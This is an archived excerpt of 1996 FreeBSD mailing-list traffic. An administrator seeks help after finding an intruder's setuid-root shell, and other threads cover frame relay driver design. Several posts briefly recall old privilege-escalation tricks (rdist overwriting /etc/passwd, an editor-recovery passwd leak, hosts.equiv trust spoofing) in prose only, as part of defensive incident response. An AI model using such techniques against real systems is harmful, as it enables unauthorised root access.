ache@FreeBSD.org In-Reply-To: <199606242043.WAA06435@grumble.grondar.za> References: <199606242043.WAA06435@grumble.grondar.za> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Excerpts from freebsd-security: 24-Jun-96 Re: I need help on this one.. by Mark Murray@grondar.za > | This is a setuid prog. The program is owned by root, and is > SETUID, therefore it will run as if it were root. It is > probably a shell (bash, sh, csh) renamed to root and setuid. > "chmod 755 root" will cut it down to size. I think perhaps a better question to be asking is how this guy got a suid shell on that system. It could have been a booby-trapped program that got run as root, but one would hope that such a chintsy method wouldn't work on most systems. -Matt ----- Matt White Email: mwhite+@cmu.edu http://www.cs.cmu.edu/afs/cs/user/mwhite/www/ From owner-freebsd-hackers Mon Jun 24 15:00:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA09469 for hackers-outgoing; Mon, 24 Jun 1996 15:00:51 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA09429; Mon, 24 Jun 1996 15:00:19 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id OAA13542; Mon, 24 Jun 1996 14:58:47 -0700 (PDT) cc: Veggy Vinny , Mark Murray , Wilko Bulte , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-reply-to: Your message of "Mon, 24 Jun 1996 22:43:36 +0200." <199606242043.WAA06435@grumble.grondar.za> Date: Mon, 24 Jun 1996 14:58:47 -0700 Message-ID: <13540.835653527@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If it's setuid root then this whole conversation is somewhat pointless, no? It's like saying "Somebody can break into my house!" and then having it pointed out that this isn't all that unusual given that the perpetrator has a full set of your housekeys and that your wife has been having an affair with him for months anyway and lets him in after you leave for work in the morning. :-) Jordan repl: bad addresses: Mark Murray -- no sub-domain in domain-part of address (@) > Veggy Vinny wrote: > > > With a setuid bit? > > > > Not too sure... > > ls -al will tell you this. Come on :-) > > > > Does ktrace(1) give any clues? > > > > Nope... :-( > > > > > What do you get from strings(1)? (Long shot..) > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > ^ > | This is a setuid prog. The program is owned by root, and is > SETUID, therefore it will run as if it were root. It is > probably a shell (bash, sh, csh) renamed to root and setuid. > "chmod 755 root" will cut it down to size. > > > listing. as for strings... it's really long... > > Try me. Cut out the rubbish and the library crap. > > > > What other exploration have you done? > > > > Not much really..... I do remember seeing someone like hack root > > using ypwhich and it worked too.... that was on 2.1R... -current seemed > > to fix it... > > M > -- > Mark Murray > 46 Harvey Rd, Claremont, Cape Town 7700, South Africa > +27 21 61-3768 GMT+0200 > Finger mark@grondar.za for PGP key From owner-freebsd-hackers Mon Jun 24 15:09:20 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA10150 for hackers-outgoing; Mon, 24 Jun 1996 15:09:20 -0700 (PDT) Received: from palmer.demon.co.uk (palmer.demon.co.uk [158.152.50.150]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA10113; Mon, 24 Jun 1996 15:09:09 -0700 (PDT) Received: from palmer.demon.co.uk (localhost [127.0.0.1]) by palmer.demon.co.uk (sendmail/PALMER-2) with ESMTP id WAA26814; Mon, 24 Jun 1996 22:02:26 +0100 (BST) To: batie@agora.rdrop.com (Alan Batie) cc: dunn@harborcom.net, jaeger@com, hackers@FreeBSD.ORG, security@FreeBSD.ORG From: "Gary Palmer" Subject: Re: I need help on this one - please help me track this guy In-reply-to: Your message of "Sun, 23 Jun 1996 21:11:59 PDT." Date: Mon, 24 Jun 1996 22:02:25 +0100 Message-ID: <26812.835650145@palmer.demon.co.uk> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Alan Batie wrote in message ID : > 11 slip-0.pu.ru (193.124.85.1) 581.747 ms 585.953 ms 509.617 ms > 12 nat.pu.ru (193.124.85.134) 579.649 ms 553.069 ms 569.455 ms > 13 gw.pu.ru (193.124.85.219) 565.162 ms 566.153 ms 579.921 ms > 14 * * * (localhost appeared here for Jordan) > If "nat" means what I think it does (Network Address Translation; recently > devised devices to translate IP addresses so private internal networks can > reuse addresses in the public space), it's probably an artifact of being > behind the NAT. On the otherhand, there was (for a LONG time) a `NAT' box at WC, which was actually a router... (Network Applicance or something? It's a while back now). That's probably what they have... Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Mon Jun 24 15:23:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA17775 for hackers-outgoing; Mon, 24 Jun 1996 15:23:57 -0700 (PDT) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id PAA17683 for ; Mon, 24 Jun 1996 15:23:52 -0700 (PDT) Received: from sax.sax.de by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id AAA06627 for ; Tue, 25 Jun 1996 00:23:20 +0200 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA01537 for freebsd-hackers@freebsd.org; Tue, 25 Jun 1996 00:23:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.7.5/8.6.9) id XAA14115 for freebsd-hackers@freebsd.org; Mon, 24 Jun 1996 23:56:34 +0200 (MET DST) From: J Wunsch Message-Id: <199606242156.XAA14115@uriah.heep.sax.de> Subject: Re: adduser mail To: freebsd-hackers@freebsd.org (FreeBSD hackers) Date: Mon, 24 Jun 1996 23:56:33 +0200 (MET DST) Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <11828.835624782@time.cdrom.com> from "Jordan K. Hubbard" at "Jun 24, 96 06:59:42 am" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Jordan K. Hubbard wrote: > Am I alone in thinking that adduser's current default behavior of mailing > the user their password in plaintext is somehow wrong? Ah, Jordan becoming security-concerned right now. :-)) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Mon Jun 24 15:59:23 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA21986 for hackers-outgoing; Mon, 24 Jun 1996 15:59:23 -0700 (PDT) Received: from orion.webspan.net (root@orion.webspan.net [206.154.70.41]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id PAA21967; Mon, 24 Jun 1996 15:59:17 -0700 (PDT) Received: from localhost (scanner@localhost) by orion.webspan.net (8.7.5/8.6.12) with SMTP id SAA27375; Mon, 24 Jun 1996 18:57:27 -0400 (EDT) Date: Mon, 24 Jun 1996 18:57:27 -0400 (EDT) From: Chris Watson To: "Jordan K. Hubbard" cc: Veggy Vinny , Mark Murray , Wilko Bulte , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <13540.835653527@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Jordan K. Hubbard wrote: I think it was just the russians trying to steal dysons numero uno VM technology. :) -- ===================================| Webspan Inc., ISP Division. FreeBSD 2.1.0 is available now! | Phone: 908-367-8030 ext. 126 -----------------------------------| 500 West Kennedy Blvd., Lakewood, NJ-08701 Turning PCs into Workstations | E-Mail: scanner@webspan.net http://www.freebsd.org | SysAdmin / Network Engineer / Security ===================================| Member BSDNET team! http://www.bsdnet.org From owner-freebsd-hackers Mon Jun 24 16:11:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA22486 for hackers-outgoing; Mon, 24 Jun 1996 16:11:56 -0700 (PDT) Received: from ref.tfs.com (ref.tfs.com [140.145.254.251]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA22480 for ; Mon, 24 Jun 1996 16:11:55 -0700 (PDT) Received: (from julian@localhost) by ref.tfs.com (8.7.5/8.7.3) id QAA03078 for hackers@freebsd.org; Mon, 24 Jun 1996 16:11:37 -0700 (PDT) Date: Mon, 24 Jun 1996 16:11:37 -0700 (PDT) From: Julian Elischer Message-Id: <199606242311.QAA03078@ref.tfs.com> To: hackers@freebsd.org Subject: Frame relay and ATM support Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm looking into the support needed in FreeBNSD to support ATM and Frame relay services in a generic manner. mostly this would suggest a file equivalent to if_ethersubr.c but if_framesubr.c or something, that knows how to associate DLCI's (or VPI's) with addresses, in the same way that ARP does for ethernet, with a convenient method for controlling such entries. ET inc. (hi Dennis) seem to associate a virtual interface with each DLCI in their frame realy product, and this actually makes some sense, but I rather dislike the idea of intefaces that don't really associate with the hardware they are running on, and would RATHER do it in such a way that ifconfig -a would return: fr0: flags=c010 mtu 552 inet 3.3.3.3 --> 4.4.4.4 netmask 0xff000000 inet 3.3.3.3 --> 140.5.5.5 netmask 0xffffff00 note: that this doesn't work at the moment because the addition of the alias wipes out the original if the local address is the same.. (BTW NBMA == non broadcast multiple access) I bring this up because Iwas hired to write a driver for a frame relay interface for a proprietary project, and want to make sure that as much of what I write can be brought back to FreeBSD as being of general use. julian +----------------------------------+ ______ _ __ | __--_|\ Julian Elischer | \ U \/ / On assignment | / \ julian@tfs.com +------>x USA \ in a very strange | ( OZ ) 300 lakeside Dr. oakland CA. \___ ___ | country ! +- X_.---._/ USA+(510) 645-3137(wk) \_/ \\ v From owner-freebsd-hackers Mon Jun 24 16:40:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA23857 for hackers-outgoing; Mon, 24 Jun 1996 16:40:24 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA23847; Mon, 24 Jun 1996 16:40:20 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id QAA16166; Mon, 24 Jun 1996 16:39:39 -0700 (PDT) Date: Mon, 24 Jun 1996 16:39:39 -0700 (PDT) From: -Vince- To: Mark Murray cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org, jbhunt , Chad Shackley Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606242043.WAA06435@grumble.grondar.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Mark Murray wrote: > Veggy Vinny wrote: > > > With a setuid bit? > > > > Not too sure... > > ls -al will tell you this. Come on :-) Hmmm, okay :-) > > > Does ktrace(1) give any clues? > > > > Nope... :-( > > > > > What do you get from strings(1)? (Long shot..) > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > ^ > | This is a setuid prog. The program is owned by root, and is > SETUID, therefore it will run as if it were root. It is > probably a shell (bash, sh, csh) renamed to root and setuid. > "chmod 755 root" will cut it down to size. it does seem like sh or bash... > > listing. as for strings... it's really long... > > Try me. Cut out the rubbish and the library crap. Well, it's actually easier to mail you the binary... > > > What other exploration have you done? > > > > Not much really..... I do remember seeing someone like hack root > > using ypwhich and it worked too.... that was on 2.1R... -current seemed > > to fix it... Vince System Adminstration/GaiaNet Corporation From owner-freebsd-hackers Mon Jun 24 16:46:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24097 for hackers-outgoing; Mon, 24 Jun 1996 16:46:05 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA24092; Mon, 24 Jun 1996 16:46:01 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id QAA17026; Mon, 24 Jun 1996 16:45:42 -0700 (PDT) Date: Mon, 24 Jun 1996 16:45:42 -0700 (PDT) From: -Vince- To: JULIAN Elischer cc: mark@grumble.grondar.za, wilko@yedi.iaf.nl, jkh@time.cdrom.com, guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <199606242059.NAA01968@ref.tfs.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, JULIAN Elischer wrote: > > On Mon, 24 Jun 1996, Mark Murray wrote: > > > > > > > What do you get from strings(1)? (Long shot..) > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > ^ DUH! > There was also the one that used rdist in daemon mode > to rdist itself a new copy of /etc/passwd (and friends) > > I haven't looked recently to see if that still works for FreeBSD.. > I last looked in 386BSD.. Oh well, I remember in Linux when there was 386 0.1... you can login as a regular user, run vi (elvis) on /etc/passwd and then suspend and then like recover and it would make a copy of /etc/passwd Vince GaiaNet System Administration From owner-freebsd-hackers Mon Jun 24 16:48:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24266 for hackers-outgoing; Mon, 24 Jun 1996 16:48:48 -0700 (PDT) Received: from critter.tfs.com ([140.145.16.108]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA24260; Mon, 24 Jun 1996 16:48:42 -0700 (PDT) Received: from critter.tfs.com (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.7.3) with ESMTP id QAA00987; Mon, 24 Jun 1996 16:48:13 -0700 (PDT) To: Julian Elischer cc: hackers@freebsd.org Subject: Re: Frame relay and ATM support In-reply-to: Your message of "Mon, 24 Jun 1996 16:11:37 PDT." <199606242311.QAA03078@ref.tfs.com> Date: Mon, 24 Jun 1996 16:48:11 -0700 Message-ID: <985.835660091@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >I'm looking into the support needed in FreeBNSD to support >ATM and Frame relay services in a generic manner. There is no doubt in my mind that the arp model is superior. Be sure to allow for sparse networks, where one DLCI/VC leads to a number of different networks/hosts. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Mon Jun 24 16:50:05 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24366 for hackers-outgoing; Mon, 24 Jun 1996 16:50:05 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA24357 for ; Mon, 24 Jun 1996 16:50:01 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id QAA02726; Mon, 24 Jun 1996 16:45:14 -0700 From: Terry Lambert Message-Id: <199606242345.QAA02726@phaeton.artisoft.com> Subject: Re: Frame relay and ATM support To: julian@ref.tfs.com (Julian Elischer) Date: Mon, 24 Jun 1996 16:45:14 -0700 (MST) Cc: hackers@freebsd.org In-Reply-To: <199606242311.QAA03078@ref.tfs.com> from "Julian Elischer" at Jun 24, 96 04:11:37 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm looking into the support needed in FreeBNSD to support > ATM and Frame relay services in a generic manner. > > mostly this would suggest a file equivalent to if_ethersubr.c > but if_framesubr.c or something, that knows how to > associate DLCI's (or VPI's) with > addresses, in the same way that ARP does for ethernet, > with a convenient method for controlling such entries. [ ... ] > I bring this up because Iwas hired to write a driver for a frame relay > interface for a proprietary project, and want to make sure that as much of > what I write can be brought back to FreeBSD as being of general use. Matt (over at DEC) had some good ideas in this regard, which he was talking about back when we were talking loadable module interfacing for protocol families. I might have the data around if you can't find it in the archive. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 24 16:51:41 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24435 for hackers-outgoing; Mon, 24 Jun 1996 16:51:41 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA24430; Mon, 24 Jun 1996 16:51:39 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id QAA18004; Mon, 24 Jun 1996 16:51:19 -0700 (PDT) Date: Mon, 24 Jun 1996 16:51:19 -0700 (PDT) From: -Vince- To: "Jordan K. Hubbard" cc: Mark Murray , Wilko Bulte , guido@gvr.win.tue.nl, hackers@freebsd.org, security@freebsd.org, ache@freebsd.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <13540.835653527@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Jordan K. Hubbard wrote: > If it's setuid root then this whole conversation is somewhat pointless, > no? It's like saying "Somebody can break into my house!" and then > having it pointed out that this isn't all that unusual given that the > perpetrator has a full set of your housekeys and that your wife has been > having an affair with him for months anyway and lets him in after you > leave for work in the morning. :-) Good one Jordan :-) But the thing is how did he get that binary there in the first place since if he can do that here, then he can do that on any machine that he doesn't have group wheel on to gain root access... I'll let John comment on this one :-) Vince System Administration - GaiaNet Corporation > repl: bad addresses: > Mark Murray -- no sub-domain in domain-part of address (@) > > Veggy Vinny wrote: > > > > With a setuid bit? > > > > > > Not too sure... > > > > ls -al will tell you this. Come on :-) > > > > > > Does ktrace(1) give any clues? > > > > > > Nope... :-( > > > > > > > What do you get from strings(1)? (Long shot..) > > > > > > -rwsr-xr-x 1 root users 278528 Jun 18 04:01 root is from the dir > > ^ > > | This is a setuid prog. The program is owned by root, and is > > SETUID, therefore it will run as if it were root. It is > > probably a shell (bash, sh, csh) renamed to root and setuid. > > "chmod 755 root" will cut it down to size. > > > > > listing. as for strings... it's really long... > > > > Try me. Cut out the rubbish and the library crap. > > > > > > What other exploration have you done? > > > > > > Not much really..... I do remember seeing someone like hack root > > > using ypwhich and it worked too.... that was on 2.1R... -current seemed > > > to fix it... > > > > M > > -- > > Mark Murray > > 46 Harvey Rd, Claremont, Cape Town 7700, South Africa > > +27 21 61-3768 GMT+0200 > > Finger mark@grondar.za for PGP key > > From owner-freebsd-hackers Mon Jun 24 16:54:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24630 for hackers-outgoing; Mon, 24 Jun 1996 16:54:52 -0700 (PDT) Received: from mercury.gaianet.net (root@mercury.gaianet.net [206.171.98.26]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA24615; Mon, 24 Jun 1996 16:54:47 -0700 (PDT) Received: (from vince@localhost) by mercury.gaianet.net (8.7.5/8.6.12) id QAA18594; Mon, 24 Jun 1996 16:54:26 -0700 (PDT) Date: Mon, 24 Jun 1996 16:54:26 -0700 (PDT) From: -Vince- To: Matthew Jason White cc: Mark Murray , Wilko Bulte , "Jordan K. Hubbard" , guido@gvr.win.tue.nl, hackers@FreeBSD.org, security@FreeBSD.org, ache@FreeBSD.org, Chad Shackley , jbhunt Subject: Re: I need help on this one - please help me track this guy down! In-Reply-To: <4lnkrxe00YUpQCvVNx@andrew.cmu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 24 Jun 1996, Matthew Jason White wrote: > Excerpts from freebsd-security: 24-Jun-96 Re: I need help on this one.. > by Mark Murray@grondar.za > > | This is a setuid prog. The program is owned by root, and is > > SETUID, therefore it will run as if it were root. It is > > probably a shell (bash, sh, csh) renamed to root and setuid. > > "chmod 755 root" will cut it down to size. > > I think perhaps a better question to be asking is how this guy got a > suid shell on that system. It could have been a booby-trapped program > that got run as root, but one would hope that such a chintsy method > wouldn't work on most systems. Yeah, that's the real question is like if he can transfer the binary from another machine and have it work... other people can do the same thing and gain access to FreeBSD boxes as root as long as they have a account on that machine... Vince GaiaNet - System Administration From owner-freebsd-hackers Mon Jun 24 16:55:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24720 for hackers-outgoing; Mon, 24 Jun 1996 16:55:27 -0700 (PDT) Received: from onyx.auscert.org.au (onyx0.auscert.org.au [203.5.112.10]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA24712; Mon, 24 Jun 1996 16:55:23 -0700 (PDT) Received: from amethyst.auscert.org.au (amethyst.auscert.org.au [203.5.112.218]) by onyx.auscert.org.au (8.7.5/8.7.1) with ESMTP id JAA10960; Tue, 25 Jun 1996 09:55:15 +1000 (EST) Received: from localhost (localhost [127.0.0.1]) by amethyst.auscert.org.au (8.7.5/8.7.2) with SMTP id JAA29733; Tue, 25 Jun 1996 09:55:13 +1000 (EST) Message-Id: <199606242355.JAA29733@amethyst.auscert.org.au> X-Authentication-Warning: amethyst.auscert.org.au: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: exmh version 1.6.7 5/3/96 To: "Jordan K. Hubbard" Cc: guido@gvr.win.tue.nl (Guido van Rooij), hackers@freebsd.org, security@freebsd.org, ache@freebsd.org Subject: Re: No comment character in hosts.equiv In-Reply-To: Your message of "Sun, 23 Jun 1996 23:29:30 MST." <10326.835597770@time.cdrom.com> Mime-Version: 1.0 Content-Type: application/pgp; format=mime; x-action=signclear; x-originator=720360CD Content-Transfer-Encoding: 7bit Date: Tue, 25 Jun 1996 09:55:12 +1000 From: Danny Smith Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Content-Type: text/plain; charset=us-ascii (Note the change of subject line!) "Jordan K. Hubbard" writes: > Hmmm. We have reason to believe that he *didn't* get root (though > we're still assuming he did, just to be paranoid) and if the mod times > can be trusted, hosts.equiv hasn't been touched in many months (and > localhost is commented out). ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ There is no comment character in either the hosts.equiv file or the .rhosts file. Use of this may allow someone to spoof DNS and gained trusted access. Check out the code relating to calls to ruserok(). This is clearly detailed in the AUSCERT Unix Security Checklist which can probably be obtained from a mirror site near you (access to the AUSCERT ftp server has been temporarily restricted due to funding shortages). Danny Smith. ========================================================================== Danny Smith | Fax: +61 7 3365 4477 AUSCERT | Phone: +61 7 3365 4417 c/- Prentice Centre | (answered during business hours) The University of Queensland | (on call after hours for emergencies) Qld. 4072. Australia | Internet: auscert@auscert.org.au -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Finger pgp@ftp.auscert.org.au to retrieve AUSCERT's public key iQCVAwUBMc+3fSh9+71yA2DNAQECawP7B/jmCyZN6NgANUku2wFcnJ+6DyxCPTYP QsORkyWfs79PKqItgx3XLO4CpBT0YXNUC6Q2TKwopSrj0mn1gX4+zJKGImWGAE0s 5DUM8XBenfU/+rxAltPiFvneORPbTGg9wZaSlAVISuxTJH7T8LghIiPFw58oELcY WbetUnf1G7w= =mEVx -----END PGP SIGNATURE----- From owner-freebsd-hackers Mon Jun 24 16:56:27 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA24799 for hackers-outgoing; Mon, 24 Jun 1996 16:56:27 -0700 (PDT) Received: from etinc.com (etinc.com [204.141.244.98]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA24794 for ; Mon, 24 Jun 1996 16:56:24 -0700 (PDT) Received: from dialup-usr11.etinc.com (dialup-usr11.etinc.com [204.141.95.132]) by etinc.com (8.6.12/8.6.9) with SMTP id UAA17778; Mon, 24 Jun 1996 20:04:12 -0400 Date: Mon, 24 Jun 1996 20:04:12 -0400 Message-Id: <199606250004.UAA17778@etinc.com> X-Sender: dennis@etinc.com X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Julian Elischer From: dennis@etinc.com (Dennis) Subject: Re: Frame relay and ATM support Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >I'm looking into the support needed in FreeBNSD to support >ATM and Frame relay services in a generic manner. > >mostly this would suggest a file equivalent to if_ethersubr.c >but if_framesubr.c or something, that knows how to >associate DLCI's (or VPI's) with >addresses, in the same way that ARP does for ethernet, >with a convenient method for controlling such entries. > >ET inc. (hi Dennis) seem to associate a virtual interface >with each DLCI in their frame realy product, and this actually >makes some sense, but I rather dislike the idea of intefaces that >don't really associate with the hardware they are running on, >and would RATHER do it in such a way that >ifconfig -a would return: > > >fr0: flags=c010 mtu 552 > inet 3.3.3.3 --> 4.4.4.4 netmask 0xff000000 > inet 3.3.3.3 --> 140.5.5.5 netmask 0xffffff00 >note: that this doesn't work at the moment because >the addition of the alias wipes out the original if the local address >is the same.. > >(BTW NBMA == non broadcast multiple access) > >I bring this up because Iwas hired to write a driver for a frame relay >interface for a proprietary project, and want to make sure that as much of >what I write can be brought back to FreeBSD as being of general use. > I like the addition of an NBMA type, except why should it be necessary? It seems that any non-PTP interface with the broadcast flag not set should be NBMA by default. As for the other stuff...beware, things are not always as they appear. Enough said. Dennis PS: Please dont hack up the O/S too much before you're really sure that what you are doing is what you want to do....its such a nice little O/S :-) ---------------------------------------------------------------------------- Emerging Technologies, Inc. http://www.etinc.com Synchronous Communications Cards and Routers For Discriminating Tastes. 56k to T1 and beyond. Frame Relay, PPP, HDLC, and X.25 for BSD/OS, FreeBSD and LINUX From owner-freebsd-hackers Mon Jun 24 17:04:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA25182 for hackers-outgoing; Mon, 24 Jun 1996 17:04:37 -0700 (PDT) Received: from po9.andrew.cmu.edu (PO9.ANDREW.CMU.EDU [128.2.10.109]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA25160; Mon, 24 Jun 1996 17:04:30 -0700 (PDT) Received: (from postman@localhost) by po9.andrew.cmu.edu (8.7.5/8.7.3) id UAA09427; Mon, 24 Jun 1996 20:04:24 -0400 Received: via switchmail; Mon, 24 Jun 1996 20:04:22 -0400 (EDT) Received: from unix13.andrew.cmu.edu via qmail ID ; Mon, 24 Jun 1996 20:04:07 -0400 (EDT) Received: from unix13.andrew.cmu.edu via qmail ID ; Mon, 24 Jun 1996 20:04:06 -0400 (EDT) Received: from mms.4.60.Jan.26.1995.18.43.47.sun4c.411.EzMail.2.0.CUILIB.3.45.SNAP.NOT.LINKED.unix13.andrew.cmu.edu.sun4c.411 via MS.5.6.unix13.andrew.cmu.edu.sun4c_411; Mon, 24 Jun 1996 20:04:05 -0400 (EDT) Message-ID: <0lnmnpy00YUp8Ea2EM@andrew.cmu.edu> Date: Mon, 24 Jun 1996 20:04:05 -0400 (EDT) From: Matthew Jason White Subject: Re: I need help on this one - please help me track this guy down! Cc: hackers@FreeBSD.org, security@FreeBSD.org, Chad Shackley , jbhunt In-Reply-To: References: Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Excerpts from freebsd-security: 24-Jun-96 Re: I need help on this one.. by -Vince-@mercury.gaianet. > Yeah, that's the real question is like if he can transfer the > binary from another machine and have it work... other people can do the > same thing and gain access to FreeBSD boxes as root as long as they have > a account on that machine... That shouldn't be possible. FreeBSD wouldn't allow the transfer program to assign root ownership to a program unless that program is run as root. The programs typically run on a FreeBSD system as root do not assign ownership in this way. This guy must've gotten root some other way and then created the shell so that he could get root again in the future. You probably want to change the security script so that it points out ALL suid programs in /usr/home, /tmp, /var/tmp and /usr/tmp, or any other publicly writeable area. Are you running inn1.4 on this system? If so, you should probably upgrade to inn-1.4uoff4 (this port should prolly be upgraded, if someone hasn't already). -Matt ----- Matt White Email: mwhite+@cmu.edu http://www.cs.cmu.edu/afs/cs/user/mwhite/www/ From owner-freebsd-hackers Mon Jun 24 17:11:04 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA25404 for hackers-outgoing; Mon, 24 Jun 